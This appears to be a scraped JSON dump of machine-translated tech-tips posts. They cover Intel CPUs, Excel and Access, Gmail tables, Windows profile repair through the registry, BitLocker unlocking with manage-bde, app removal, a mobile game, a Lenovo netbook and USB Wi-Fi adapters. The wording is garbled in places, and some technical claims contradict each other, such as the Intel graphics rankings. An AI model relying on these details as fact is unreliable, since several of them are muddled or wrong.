RAM. It is one of the lesser known specs, capable of slowing down your computer.\nJust like with RAM, the larger the cache size, the better. So, if the processor does a repetitive job, it will keep that task in its cache. If a processor can store more tasks in its own memory, it can make tasks faster if they reappear.\nCore i3 series usually has up to 3MB of cache memory. Core i5 series has from 3MB to 6MB of cache memory. Core i7 series has from 4MB to 8MB of cache memory.\nIntel HD graphics card, UHD, Iris, Iris Pro or Plus   Since the graphics card is integrated on the microprocessor chip, it becomes an important decision point in purchasing CPUs. But like everything else, Intel has made the symbol system a little confusing.\nThere are currently three levels of simple graphics card: Intel HD, Intel Iris and Intel Iris Pro or Iris Plus. You will see a model name like Intel HD 520 or Intel Iris Pro 580 . and from there, you start to get confused.\nThe Intel HD 520 is a basic graphics chipset. Intel Iris 550 is better than Intel HD 520, but also basic. Intel HD 530 is a better and better performance graphics card than Intel Iris 550. However, Intel Iris Pro 580 (also a high performance graphics card) but better than Intel HD 530.\nIs there any way to explain these things? The answer is no. Instead, rely on Intel's naming system. If the processor model ends in H, you know it's a high-performance model. If it ends in G, that means there's a dedicated GPU, not one of Intel's chips.\nChoose between Intel Core i3, i5 and i7   In general, the following is the object for which each type of processor is most suitable:\nIntel Core i3 : Basic user. This is the most economical, suitable choice for browsing the web, using Microsoft Office, making video calls and social networks. Not for gamers or professionals. Intel Core i5 : Average user. People who want a balance between performance and price. Good for gaming if you buy a G processor or Q processor with a dedicated graphics processor. Intel Core i7 : High-end users. You can perform multiple tasks with several windows open at the same time. You can run applications that require a lot of horsepower and don't have to spend time waiting for anything to load. This article provides basic guidance for anyone who wants to buy a new Intel processor but is confused between Core i3, i5 and i7. But even after understanding all this, you still need to choose between two different generations of processors because they have the same price.\nWhen you compare, the best tip is to visit cpuboss.com, where you can compare two processors and get detailed analysis and ratings. If you don't understand the terminology, just rely on basic ratings and advice. Even if you understand the terminology, CPU Boss also has all the details you need.\nNote: Most people do not need Intel Core i9\nIntel also has a high-end processor called Intel Core i9. Usually, they have more cores (10 to 18 cores on the desktop), leading to higher speeds. But for most people, the extra performance is not really worthwhile.\nCore i9 is only useful if you are a hardcore gamer for the purpose of streaming or as a video editor to perform multiple tasks at the same time. For other users, Intel Core i7 and maybe even Intel Core i5 are good enough.\nWish you choose the product you like!\nSee more:\nChoose a Core 2 Duo or Core i-series laptop How to choose laptop CPU in accordance with needs Decode the specifications on the laptop ncG1vNJzZmismaXArq3KnmWcp51ksbCx0mawqK2iYrCwuc%2Buq56qXaOyprCMoqWtnZxisLC%2BxGagbGWZanqwvoyibg%3D%3D\n","link":"/post/does-your-computer-need-intel-core-i3-i5-or-i7/","section":"post","tags":null,"title":"Does your computer need Intel Core i3, i5 or i7?"},{"body":" This wikiHow teaches you how to create a database using data from a Microsoft Excel spreadsheet by importing the data directly into Access, which is Microsoft's database management software, or by exporting the Excel data into a format...\nMethod 1of 2:\nUsing Microsoft Access  Open Microsoft Access. It's the red app with an A. Doing so opens the Access template page. Access is designed for use with Excel and comes bundled with Excel in Microsoft Office Professional and is only available for Windows.   Click Blank database. This option is in the upper-left side of the window. If you want to use a different template for your Access database, select the template that you want instead.   Click Create when prompted. This option is in the bottom-right corner of the pop-up window. Your Access database will open.\n  Click the External Data tab. It's in the menu bar at the top of the Access window.\n  Click Saved Imports. You'll find this in the far-left side of the External Data toolbar. A drop-down menu will appear.\n  Select File. It's in the drop-down menu. Selecting this option prompts a pop-out menu.\n  Click Excel. This option is in the pop-out menu. Clicking it prompts the import window to open.\n  Click Browse. It's in the upper-right part of the window.\n  Select an Excel spreadsheet. Go to the folder in which your Excel spreadsheet is located, then click the Excel spreadsheet which you want to open.\n  Click Open. It's in the bottom-right corner of the window.\n  Specify how to transfer to the data. Click the radio button to the left of one of the following: Import the source data into a new table in the current database - Choose this option if you created a new database with no tables or if you want to add a new table to an existing database. By creating a new table you can edit the information in Access. Append a copy of the records to the table - Choose this option if you are using an existing database and want to add the data to one of the tables in the database. By appending an existing table, you can edit the information in Access. Link to the data source by creating a linked table - Choose this option to create a hyperlink in the database, which will open the Excel database in Excel. With this method, you cannot edit the information in Access.   Click OK. You'll find this at the bottom of the window.\n  Select a sheet. At the top of the window, click the name of the sheet that you want to import from your selected Excel document. By default, Excel creates workbooks with three spreadsheets labeled \"Sheet 1,\" \"Sheet 2,\" and \"Sheet 3.\" You can only transfer one sheet at a time; if you have information on all three sheets, you must complete the transfer with one sheet and then go back to the \"External Data\" tab and repeat all the steps for each remaining sheet. You can delete, add, and edit the names of these sheets in Excel, and whatever changes you make will appear in the Access database.   Click Next. It's in the bottom-right corner of the window.\n  Enable column headings. Check the \"First Row Contains Column Headings\" box if your Excel sheet has its own column headings in the top row (e.g., the A row). Uncheck the box if you want Access to create the column headings.   Click Next.\n  Edit your spreadsheet's columns and fields if needed. If you want to import all the fields from the spreadsheet without change, skip this step: To edit a field, click the column header you want to change, then edit the name of the field, the data type, and/or whether or not it is indexed. If you don't want to import a field, check the \"Do Not Import Field (Skip)\" box.   Click Next.\n  Set the primary key for the database. For best results, leave the default setting here as-is to let Access set the key. You can also set your own key by checking \"Choose my own primary key\" and entering it in the field next to that option, or you can select \"No primary key\" (not recommended).   Click Next.\n  Add a name. Type a name for the sheet into the \"Import to Table\" field. Skip this step to leave the database set to its default name.   Click Finish. This option is in the lower-right side of the window.\n  Click Close. It's in the bottom-right corner of the window. This will close the import window and create your database. You can first check the \"Save import steps\" box if you want to ensure that Access will remember your settings for this database.  Method 2of 2:\nUsing Third-Party Database Software  Open your Excel document. Double-click the Excel document which you want to convert into a database. If you haven't yet created your document, open Excel, click Blank workbook, and create your document before proceeding.   Click File. It's in the menu bar that's either at the top of the Excel window (Windows) or at the top of the screen (Mac).\n  Click Save As. You'll find this option in the File menu.\n  Double-click This PC. It's in the middle of the page. Skip this step on a Mac.   Select a file format. Click the \"Save as type\" (Windows) or \"File Format\" (Mac) drop-down box, then select one of the following: If you're using a computer-based database application, click a .CSV (comma separated values) format. If you're using a Web-based database application, click an .XML format. If your Excel document doesn't have any XML data in it, you won't be able to choose XML.    Click Save. It's at the bottom of the window. This will save your document using your selected preferences.\n  Create a new database in your database application. This process will vary depending on the application that you're using, but you'll usually open the application, click New (or File \u0026gt; New), and follow any on-screen instructions.\n  Locate the Import… button. It's often found by clicking the File option, but your database application may vary.\n  Select your Excel file. Locate and double-click the file you exported from Excel.\n  Follow the database app's prompts to import the data.\n  Save the database. You can usually open the \"Save\" menu by pressing Ctrl+S (Windows) or ⌘ Command+S (Mac).\n  David Pac Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZJ2ZpJavor%2FEZp2rp51irq95xLGanqRdqL2zscCdqqGdlak%3D\n","link":"/post/how-to-create-a-database-from-an-excel-spreadsheet/","section":"post","tags":null,"title":"How to Create a Database from an Excel Spreadsheet"},{"body":"Insert a table into a Gmail email on the web To get started, go to Google Sheets in any web browser on your computer.\nOn the Google Sheets interface, if there is already a spreadsheet, click on it to open it. If not, you can create a new spreadsheet by clicking the \" Blank \"on the screen.\n  If you create a new workbook, enter the data into the open blank spreadsheet as usual, such as in the example below.\n  Next, select the area containing the entered data in the spreadsheet. You can use the mouse or the arrow keys on the keyboard to do this.\nThe selected worksheet should look like this:\n  Now copy the selected area to the clipboard. Do this by clicking Edit \u0026gt; Copy. Alternatively, you can also press Ctrl + C on Windows or Command + C on Mac to copy the table.\n  Your spreadsheet is now copied and ready to be pasted into an email in Gmail. Open a new tab in your web browser and go to Gmail. From upper left screen, click \" Compose\u0026nbsp;\" to create a new email.\n  A new compose message window will open. Here, right click on the email content and select ' Paste ' \u0026nbsp;from the menu that appears. Or you can also press Ctrl + V (Windows) or Command + V (Mac) to paste the table.\n  The data sheet that you copied from Google Sheets has appeared in the new Gmail email. You can now send this email as usual, or add more content if needed.\n  Insert table into Gmail email in mobile app First, launch the Google Sheets app on your iPhone, iPad, or Android phone.\nIn the Google Sheets application interface, if you have already created a spreadsheet, click on it to open it. Otherwise, a new spreadsheet can be created by tapping the ' + ' (plus sign) in the bottom right corner of the screen.\n  In case you create a new spreadsheet, enter the data in the spreadsheet as usual. Then, drag your finger from the top left corner to the bottom right corner of the table to 'black out' the spreadsheet.\n  Small in the options menu appears, click ' Copy ' ( Copy ).\n  Your table is now copied. Close the Google Sheets app.\nNow, launch the Gmail app on your phone. At the bottom right of the app, select ' Compose ' .\n  On the compose new email screen, tap and hold a place under ' Compose Email '.\n  From the menu that appears, select ' Paste '.\n  The table you copied from Google Sheets will be pasted into the Gmail email. You can now send this email as usual, or add more content if needed.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqLKzwIyaZK2ZkqGybrXNraZmmZ5isq6tyKVkoqZdnLqitcs%3D\n","link":"/post/how-to-insert-a-table-into-an-email-in-gmail/","section":"post","tags":null,"title":"How to insert a table into an email in Gmail"},{"body":"If you see an error message that does not allow you to log in to your Windows 10 user account, your profile may have failed.The following article will show you how to fix it or create a new account.\nYour user account contains personal settings such as desktop wallpaper, taskbar preferences and some program settings such as browser history.You will feel quite frustrated if you lose these settings.\nHow to fix the error The User Profile Service failed the logon. Không thể nạp được người dùng profile Log in to a temporary profile ( Temporary Profile) When you cannot log in to your normal user account, you can log in to the temporary account.This usually happens if an important Windows update has been stopped between processing.\nYou will see either error (or sometimes both):\nYou have logged in to a temporary profile.You cannot access your file, and files created in this profile will be deleted when you log out.To fix this, log out and try logging in the next time.Please see the event log for details or contact your system administrator. We cannot log in to your account.This problem is usually corrected by logging out of your account, then logging in again.If you do not log out now, any files you create or change will be lost.   The first thing you need to do here is try logging out and then log back in, maybe it works or not but it is worth it to try it.\nLogging in to the profile is temporarily inappropriate because any changes you make in the temporary profile are lost every time you log out, so see how to restore your normal profile below. .\nFind security identification code First, you need to find the Security identifier (SID) of the temporary user account you are logged into.Windows uses this unique string to control your rights and groups of interactions.\nFirst, perform acmdsearchand select the relevant result to open the Command Prompt.\nNext, enterwhoami / user and press Enter.This command queries the system to tell you the SID code of the current account.\n  Record your SID code by pressingCtrl + M to highlight it, left-click and drag to blacken the SID code then press Ctrl + Cto copy.\nEdit the registry Now we need to edit in the registry section to restore the original profile.Editing the registry can be dangerous to the system so follow the instructions below carefully.\nDo a search forregedit and select the relevant results to download Registry Editor. Paste the following link in the address bar and press Enter:\nComputerHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionProfileList\nOn the left pane, you will see a list of SID codes in the ProfileList folder.\n  Your SID code can be one of the following three options:\nYour SID code is listed twice, with and without a.BAK tail. Your SID code is only listed oncewith a.BAK extension (eg S-1-5-21-2795999757-2048908912-3492586281-1000.bak). Your SID code is only listed once and does not havea.BAKextension(eg S-1-5-21-2795999757-2048908912-3492586281-1000). Although your SID code belongs to any of the three options above, the process is similar and there are only a few minor differences.Follow all the steps below in order, but only the steps out of your options.For example, if your SID code is optional 2, then you do not delete the duplicate folder, but will follow the two steps below to rename the directory and change the directory path.\nBlock access to Registry Editor on Windows 10/8/7 Option 1: Delete duplicate folders If your SID code is listed twice - and only in this case - you need to delete the directory without the tail a.BAK.Right-click on the folder from the left pane and clickDelete , then click on Yesto confirm.\n  Options 1 and 2: Rename the directory .BAK Right-click on the folder that matches your SID code with the .BAK extension, clickRename and delete the extension. BAK . Press Enterto save the changes.\n  Options 1, 2 and 3: Change directory path Left click on the folder in the left pane that matches your SID code.And on the right pane, double-clickProfileImagePath . In the Value data field, enter the correct path for your User Profile.\n  If you are not sure about the path, pressWindows + R key to open Run, enter C: Users and press Enter.This will display a list of all your user profiles.\n  When you have written the correctValue data , click OK.\nNext, in the right-hand pane, double-clickState . Change Value data to 0 and click OK.\n  Close Registry Editor and restart your computer.Log back in to your user account and you will see that everything has been restored and returned to normal.\nIf you still have problems, see how to create a new permanent user account.\nCreate new profile If the above instructions still fail to recover your profile, you should create a new User Profile.Note that creating this new User Profile will not restore your computer settings such as wallpaper or taskbar preferences, but you will have a permanent user account.\nStep 1: Start in safe mode To get started, you need to start your computer in safe mode (Safe Mode).To do this, restart your computer.On the login screen, hold downShift and click Power\u0026gt; Restart . When you're done, you'll be on the Choose an option screen , go to Troubleshoot\u0026gt; Advanced options\u0026gt; Startup Settings\u0026gt; Restart.\nYour computer will restart.PressF4to start in safe mode.\nStep 2: Activate the administrator account After logging in, perform acmd search . Right-click on the relevant result and select Run as administrator . This will open the Command Prompt . Enter net user administrator / active: yes and press Enter.\nNote that you can go back by running the same command, but convertingyes to no.\n  This will activate the hidden admin account on your computer.Restart and then log in to this new account.\nStep 3: Create a new account PressWindows + I key to open Settings. Visit Accounts\u0026gt; Family \u0026amp; other users . Click Add someone else to this PC . Then you just need to follow the instructions. However, if you want to create an internal account instead of a Microsoft account, click I don't have this person sign-in information and then select Add a user without a Microsoft account.\n  Step 4: Transfer the file to the new account Restart the computer and log back into the administrator account.PressWindows + R key to open Run, enter C: Users and press Enter, you will be taken to the old and corrupted user account.\nNow copy and paste all your user files from the old account to the new account.You should copy each folder one by one or you will accidentally bring some hidden and problematic system files to your new account.\n  To select all files in a folder, pressCtrl + A. To select a range of specific items, hold down the Ctrlkeywhile you left-click the items.Also, you can hold the left mouse button and drag around the file.\nThen pressCtrl + C to copy them and go to the Users folder, go to the new account and press Ctrl + Vto paste your files.\nOnce completed, log out of your administrator account and log in to your new account.All files you transfer will be there.\nNow you have a permanent user account.Fortunately, the file is broken but you don't lose much data.However, you should regularly backup your files to avoid getting lost.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqMGwvsRmrqKmlKTEtHnUrJyrZaCnvKe1y55kamg%3D\n","link":"/post/how-to-restore-windows-user-profile-10/","section":"post","tags":null,"title":"How to restore Windows User Profile 10"},{"body":" Normally, when encrypting a drive with Bitlocker on a Windows computer, you set a password on it and save the recovery key, so that you can unlock the Bitlocker encrypted drive with them. You can double-click on the encrypted drive and...\nMethod 1of 2:\nUnlocking a Bitlocker Drive with a Password  Run Command Prompt as an administrator. On Windows 10: On the bottom-left corner of the screen, type in \"cmd\" on the search box. Right-click on the search result of Command Prompt, and then select 'Run as administrator'.  On Windows 10/8/7: Press 'Win+R' keys to open Run application. Type in: cmd, and then press 'Shift+Ctrl+Enter' keys. Click on Yes on User Account Control screen, then the Command Prompt will be opened as an administrator.    On Command Prompt screen, type in the command line and execute it. Type in command line: Manage-bde -unlock E: -password And then press Enter to execute it.   Type in password to unlock Bitlocker drive. If the command above executes successfully, you will get the message asking to enter the password to unlock this volume.\u0026nbsp; Type your Bitlocker drive encrypted password, and then press Enter. The password is invisible on the Command Prompt screen, so make sure the password you type in is correct, or you will need to type in the command again. If the password is correct, you will get the message saying 'the password successfully unlocked volume X:', which means the Bitlocker drive was unlocked with the password from Command Prompt.  Method 2of 2:\nUnlocking a Bitlocker Drive with a Recovery Key Open Command Prompt as an administrator. Press 'Win+R' keys to open Run application. Type in: cmd, and then press 'Shift+Ctrl+Enter' keys on keyboard at the same time. Click on Yes on User Account Control screen, then the Command Prompt will be opened as an administrator.   Type in the command line. Type in the command line: manage-bde –unlock X: -RecoveryPassword XXXXXX-XXXXXX-XXXXXX-XXXXXX-XXXXXX- XXXXXX-XXXXXX-XXXXXX 'X:' is the letter of Bitlocker encrypted drive and the 48 characters of the recovery key. Remember to change the X to your recovery key. For example: manage-bde –unlock L: -RecoveryPassword 007953-464848-680316-372767-326479-044872-075570-707442   Run the command line to unlock Bitlocker drive. Press Enter to execute the command If you run the command successfully, you will get the message saying 'The password successfully unlock volume X:'.   Kareem Winters Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2eobykt4yboK2kn5i4pr6MnqWcqqmlwaawjJ2poq6VYrOzu8xmmqilnZa7pXnPq6amqKQ%3D\n","link":"/post/how-to-unlock-bitlocker-encrypted-drive-from-command-prompt/","section":"post","tags":null,"title":"How to Unlock Bitlocker Encrypted Drive from Command Prompt"},{"body":"YouTube video mode floating window has been applied to many web browsers, but with the Microsoft Edge Chromium browser, users need Video picture in picture utility. This utility will make Youtube videos play in floating window mode, and can be viewed in many different interfaces such as other website interfaces, computer interface folders. The YouTube video with floating window will automatically play the next video, move to any position for your convenience. The following article will guide you how to watch YouTube videos floating window on Microsoft Edge Chromium.\nInstructions for minimizing YouTube videos on Edge Chromium Step 1:\nFirst, open the Microsoft Edge Chromium browser and then install the Video picture in picture utility by following the link below.\nDownload the Video picture in picture utility   Step 2:\nNext we open the YouTube page and open the video you want to watch. Users then click on the Video picture in picture widget icon on the browser address bar.\nNote that the utility only applies to HTML5 video websites.\n  The video results have now been converted to a miniature floating window in the corner of the screen. Users can zoom in or out of the video playback screen, move to any location and still watch videos in any other interface.\n  In the miniature video interface, there are only 2 icons that stop / play the video and return to the video view on YouTube only. To turn off the currently playing video, click the x icon in the right corner of the floating window.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq%2BRqbCpediorK2tkpp6t7XDnqasZZmjeqe4zpqroqaXYsSqusOormannmKypbPEZpqhqp%2Bitra5\n","link":"/post/how-to-watch-youtube-videos-in-floating-window-on-edge-chromium/","section":"post","tags":null,"title":"How to watch YouTube videos in floating window on Edge Chromium"},{"body":"Method 1. Use the Start menu Step 1 : Launch the Start menu . Click the Start button , located at the bottom left. You can also press the Windows key on your keyboard.\nStep 2 : Locate and right click on the app you want to uninstall. Right-click the tile or app in the All apps list . A context menu will appear.\n  Step 3 : Uninstall the app. Click Uninstall from the context menu that appears.\n  Step 4 : Confirm the uninstallation of the application. A small confirmation dialog box will appear. Click Uninstall to confirm that you really want to uninstall the app. If you change your mind, just click out.\n  After doing this, the app will disappear from the list and be uninstalled. This process can take up to 30 seconds.\nMethod 2. Use the Search feature Step 1 : Launch the Search feature . Click on the icon/search bar on the Taskbar. It may appear as a circular Cortana icon.\nStep 2 : Search for the app you want to uninstall. Enter its name.\n  Step 3 : Right click on the application from the results. This will prompt a context menu to appear.\n  Step 4 : Uninstall the app. Click Uninstall from the context menu that appears.\n  Step 5 : Confirm the uninstallation of the application. A small confirmation dialog box will appear. Click Uninstall to confirm that you really want to uninstall the app. If you change your mind, just click out.\n  After doing this, the app will disappear from the list and be uninstalled. This process can take up to 30 seconds.\nMethod 3. Use the Settings app Step 1 : Open the Settings app. Click the Start button and select the settings gear.\nStep 2 : Go to the Apps category . If you don't have this option (probably because you're running an older version of Windows 10), click System instead.\n  Step 3 : Find the app you want to uninstall. Use the search bar to find a specific app if you want.\nYou can change the order of the list by choosing a different sort order.\nYou can also use the search bar above the apps list to find apps.\n  Step 4 : Click the application list.\n  Step 5 : Uninstall the app. Click Uninstall.\n  Step 6 : Confirm the uninstallation of the application. A small confirmation dialog box will appear. Click Uninstall to confirm that you really want to uninstall the app. If you change your mind, just click out.\n  After doing this, the app will disappear from the list and be uninstalled. This process can take up to 30 seconds.\nHope you are succesful.\nWindows Store apps ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddp7Kuu9WeZKKmo6murbjEnWSaqKCoeqe%2BzqZkrKyfp7Juu81mrqKmlKTEtHmQaQ%3D%3D\n","link":"/post/steps-to-remove-installed-apps-from-store-on-windows-10/","section":"post","tags":null,"title":"Steps to remove installed apps from Store on Windows 10"},{"body":"Based on the version of Boom Online that once rained a long time in the Vietnamese game market, Boom Mobile still keeps the names that are familiar to those who love Boom Online for a while, such as Khò Khò, Nhanh Nhả, Bé Burns, Fatty Meat, Sweet Honey, Dreamy Memories . Each character in the game has a different special ability to match the style of the player.\nAnd coming soon, Boom M, the mobile version of the legendary Boom Online game will officially launch global gamers and is released by Nexon, the famous game publisher in Korea. Below Quantrimang will send you some information about the skills and stats of characters in Boom Mobile.\nSynthesize lag and lag tips, increase performance when playing games on Windows 10 Instructions to reduce lag, reduce high ping when playing online games Tips to download games, Android applications do not support in Vietnam do not need VPN Boom Mobile: Synthesize characters and skill stats of each character 1. Khò Khò (Bazzi)   Bazzi, also known by the familiar name of Khò Khò, this character has a special skill of being able to sleep anytime, anywhere, resilient and stubborn.\n  Looking at this index, you can see that Khò Khò's skill is inclined to speed, once it escapes the water bubble. Khò Khò will be accelerated in a short time.\n2. Little Boy (Uni)   Little Boy has a small body so it can easily avoid the boom explosion's water series, besides this, BABY is also helpful so everyone is satisfied.\n  Baby Burn's stats are prone to speed, and a bit of the bomb's length when exploded. When caught, the Kid's speed will be increased immediately.\n3. Quick (Dao)   Dao, also known as Quick Nhau, is a gentle, kind person and always aggressive in helping his friends. However stupid, so often trouble.\n  With Quick Runner's character skill index, this character will give his teammate a temporary shield after rescuing them.\n4. Grease (Kephi)   A character that you always feel reliable and extremely kind, ready to help people without calculating or asking for any conditions.\n  The special skill of Meat Fat is when the equipment is retrieved, the maximum skill cooldown of Fatty Meat will be reduced.\n5. Sweet Honey (Dizni)   Sweet Honey has a calm, quiet and very gentle personality, but don't look down on this girl. Sweet Honey has very good skills in fighting.\n  The skill of Sweet Honey is that when rescuing a teammate, she immediately becomes more transparent and agile.\n6. Dreaming (Dankie)   Dream Film has a quite similar appearance to the monkey, so the advantage of this character is speed, Dream Memory has a fast movement speed.\n  Dream Memorabilia's stats are prone to speed, and this character can temporarily increase the maximum running speed when his teammates are eliminated.\nHopefully, the skill indicators of the characters in Boom Mobile BnB M above will help you choose the character that suits your style of play when coming to Boom Mobile.\nncG1vNJzZmismaXArq3KnmWcp51kwLa5zJqpsmWfm3qktMCrmJyslafAbq3NnWScoJGnrqTAxKtkrKOZobm0ecinm56wXZ67bq7OqKRmpZ%2BXtq2x\n","link":"/post/summary-of-characters-and-character-skills-index-in-boom-mobile/","section":"post","tags":null,"title":"Summary of characters and character skills index in Boom Mobile"},{"body":"Lenovo this morning announced the 10inch IdeaPad S10 notebook running Atom 1.6GHz chipset. The 'Assassin' of the MSI Wind and Eee PC will be available in Vietnam with a 9-inch model. \n The IdeaPad S10 will be available in the US with two options: size 9.8 x 7.2 x .8 / 1.08-inch and weighs 2.4 pounds (about 1.08 kg). The model has 512 MB of RAM and an 80GB hard drive for $ 399 and the model has 1GB of RAM and a 160GB hard drive for $ 449.99. Both use Atom 1.6Hz chipset.\n  Initially, this netbook was running Microsoft Windows XP operating system. However, Lenovo said S10 running Linpus Linux will be available in other markets.\nThrough the photo gallery below, S10 can be seen with full keyboard, comfortable with the touchpad and left and right mouse buttons. The touchpad will support multi-touch gestures. It has a 10-inch screen, 1024 × 600-WSVGA resolution and LED backlit for power saving. The system's front speakers also offer a different appearance and promise to produce more standard sound because they are not buried below. The Netbook S10 is full of wireless connections including Bluetooth, 802.11b / g WiFi and has the perfect Express Card for connecting to a mobile broadband card. It also has LAN connection and VGA output port. In addition, there is a 1.3 MP webcam, two USB ports, mic and headset, 4-in-1 card reader. In terms of battery life, Lenovo promises to use 3-cell batteries for 3 hours of continuous use and a 6-cell battery for twice the battery life, 6 hours. The IdeaPad S10 comes in white, black and ruby ​​red to choose from.\n      It is available in the US on September 28, 2008 and can be accessed via lenovo.com a little earlier. But in the Chinese market, Lenovo launched S10 from September 5 and the Far East is September 10.\nThe S10 9-inch screen will be available in selected markets such as Hong Kong, Taiwan, Russia, Singapore, Malaysia, Vietnam, Mexico, India, France, Turkey, Poland and other countries. other.\n    ncG1vNJzZmismaXArq3KnmWcp51kwamxjJ%2Bgq6ukYrmmus6vpmamlamvsLvKZpqoq6SoenSFmA%3D%3D\n","link":"/post/the-first-lenovo-netbook-costs-399/","section":"post","tags":null,"title":"The first Lenovo netbook costs $ 399"},{"body":"Good Internet connection is an essential part of keeping in touch with the world. If your computer doesn't have a built-in Wi-Fi connection, there are plenty of USB Wi-Fi on the market to give you the choice of serving many purposes such as watching Netflix, browsing the web or playing games.\nBelow is a list of USB Wi-Fi you can consult to use for your home network. Ordering the devices in the list does not sort by the \"good\" level, the advantages of each device will be clearly stated in the content of each device.\nTop best Wi-Fi USB 1. Net-Dyn AC1200 USB Wireless Wi-Fi Adapter ($ 45) 2. Panda Wireless PAU06 ($ 15) 3. TRENDnet TEW-809UB ($ 79) 4. Asus USB-AC68 ($ 45) 5. TP-Link T1U ($ 20) 6. Linksys Dual-Band AC1200 WUSB6300 ($ 46) 7. D-Link Systems AC1900 Ultra Wi-Fi USB 3.0 ($ 70) 8. Glam Hobby 600Mbps AC600 ($ 13) 9. EDIMAX EW Adapter ($ 22) 10. Netgear N300 ($ 70) 1. Net-Dyn AC1200 USB Wireless Wi-Fi Adapter ($ 45) Ranking: Miss.\nCompatible with both Windows and Mac, this Net-Dyn dual-band wireless Wi-Fi USB is an excellent choice for any computer. It can be used with 2.4GHz and 5GHz bands. Net-Dyn is capable of reaching an area of ​​approximately 100 yards while providing fast connection speeds of up to 300Mbps with 802.11n connectivity.\n  Setting up this Wi-Fi receiver is easy, just plug Net-Dyn into your computer, install the driver (Windows only) and connect to the Internet. Net-Dyn supports all WLAN routers, has WPA / WPA2 / WEP connection options, ensuring operation with many Internet service providers. In addition, this USB Wifi also provides a lifetime warranty with software and driver updates.\n2. Panda Wireless PAU06 ($ 15) Ranking: Good overall in 2nd place.\nReleased in 2014, Panda Wireless PAU06 received a rating of 4.2 out of 5 stars on Amazon, thanks to great prices and stellar performance. Upgrade your computer to 802.11n standard to have the maximum data rate up to 300Mbps. In addition, it has backward compatibility with 802.11g on the 2.4GHz band to ensure a stable connection with Internet service providers.\n  Using low-power technology, Panda works in the background so that it doesn't waste too much on a laptop's battery. In addition, it has a WPS button to connect the computer and PAU06 quickly. Panda is compatible with Windows 10, as well as Mac OS and various Linux systems. Modern security standards are also applied to provide users with peace of mind through 128 bit WEP, WPA and WPA encryption standards.\nDo you know how to increase laptop battery life in Windows 10? 3. TRENDnet TEW-809UB ($ 79) Rating: Best range.\nTRENDnet's four-antenna Wi-Fi antenna design TEW-809UB provides advanced features such as superior beamforming technology when handling many Internet users connected at the same time without affecting network performance . The antenna is independently adjusted, so you can easily increase the range in your home or workplace.\n  It is capable of providing speeds up to 1300Mbps on 802.11ac or up to 600Mbps on 802.11n. It can cover more than 100 yards.\n4. Asus USB-AC68 ($ 45) Ranking: Getting the best wave.\nWith the unique wing design, Asus USB-AC68 is one of the best USB Wi-Fi. It is designed with foldable external antenna to enhance the reception capability of the laptop when open (and easily move when closed). Asus offers outstanding range and speed, using powerful 3x4 MIMO antenna technology (multiple ports, multiple outputs), three-position external antenna combined with an internal antenna to connect long range connection. It can also work with both 2.4GHz (600Mbps) and 5GHz (1300Mbps) bands.\n  In addition, AiRadar and beamforming technology has created extensive coverage, increased speed and increased stability when online. To connect, simply plug it into a USB 3.0 port on the computer.\n5. TP-Link T1U ($ 20) Rating: Cheap price.\nLaunched at the end of 2015, the USB Wi-Fi USB wireless TP-Link T1U is a compact and affordable option. It works with the 5GHz band, bypassing the 2.4GHz band, but provides 433Mbps speed with 802.11ac standard.\n  As a small dongle, it can work with wireless or wired routers, providing maximum performance. Setup is also easy, thanks to plug-and-play design that requires little configuration. When users are online, it has advanced security features with 64/128-bit encryption standards on WEP, WPA and WPA2 standards to ensure online surfing safety. And its size is so compact that it doesn't affect other ports.\n6. Linksys Dual-Band AC1200 WUSB6300 ($ 46) Ranking: To play the game is the best.\nReleased in 2013, Linksys' Wi-Fi dual-band AC1200 WISB6300 has outstanding performance and fast gaming speed. With speeds of up to 867Mbps on 802.11ac networks of 5GHz or up to 300Mbps on the 2.4GHz 802.11n band, Linksys is ready for multiplayer games. With support for 802.11ac routers, access points and extensions, Linksys also supports 128-bit encryption via WEP, WPA and WPA2 standards.\n  Linksys works with all Windows platforms, including Windows 7, Windows 8 and Windows 10. In addition to playing games, the maximum speed of 1200Mbps is suitable for watching high quality videos on Netflix or Hulu HD.\n7. D-Link Systems AC1900 Ultra Wi-Fi USB 3.0 ($ 70) Ranking: Best design.\nReleased at the end of 2014, D-Link's AC1900 Ultra Wi-Fi USB 3.0 has a spherical design that connects to the computer via an exclusive three-legged USB cable. With size 3.2 x 3.2 x 3.2 inches, D-Link is just the size of a baseball or tennis ball, taking up little space, suitable for working on a desk. In addition to its unique design, D-Link also provides speeds up to 1300Mbps on a 5GHz network and up to 600Mbps on a 2.4GHz network. Flexible technology allows D-Link to be backward compatible with 802.11 / n / g / a networks.\n  D-Link has enhanced D-Link's SmartBeam technology, improved coverage by switching network signals directly between the router and USB Wi-Fi DWA-192. In addition, the USB 3.0 transfer mode allows users to transfer data 10 times faster than USB 2.0.\n8. Glam Hobby 600Mbps AC600 ($ 13) Ranking: The most compact size\nGlam Hobby AC600 USB Wi-Fi serves many purposes such as streaming videos, browsing the web, organizing online video conferences. This device provides excellent speed (including 600Mbps connection speed 3 times faster than similar Wi-Fi USB devices). It is capable of working on the 5GHz band with a maximum connection speed of 433Mbps (150Mbps over 2.4GHz) and support for both Windows 10 and Mac OS.\n  With a length of 22mm, Glam Hobby is a great and smart way to connect 5GHz to a laptop or desk in a small (and affordable) package. Although there is no 802.11n standard, Glam Hobby has created a Wi-Fi hotspot for additional mobile devices whenever there is a wired Internet connection.\n9. EDIMAX EW Adapter ($ 22) Ranking: The second compact size.\n  This Wi-Fi USB comes from EDIMAX that performs double duty for an adapter. First, it provides Wi-Fi connectivity without taking up much space. That's because it is only 1.2 inches long so it won't protrude from the computer, causing aesthetics. Second, it can accelerate transmission even with the most modern Mac-Wi-Fi protocol by providing 802.11c connectivity, transmitting at speeds of up to 433 Mbps. This Wi-Fi USB uses 5GHz transmission frequency without interference, so you can transfer data via Wi-Fi connection without interference or interruption.\nIt can even use encryption, including WEP64, WPA, WPA2 and 802.11x, to make sure your network connection is secure. It comes with a simple setup wizard designed for Mac.\n10. Netgear N300 ($ 70) Ranking: Best feature.\n  The Netgear N300 provides users with standard 802.11n connectivity at speeds of up to 300 Mbps, performs most network tasks and all the most basic operations. It operates in the 2.4 GHz frequency 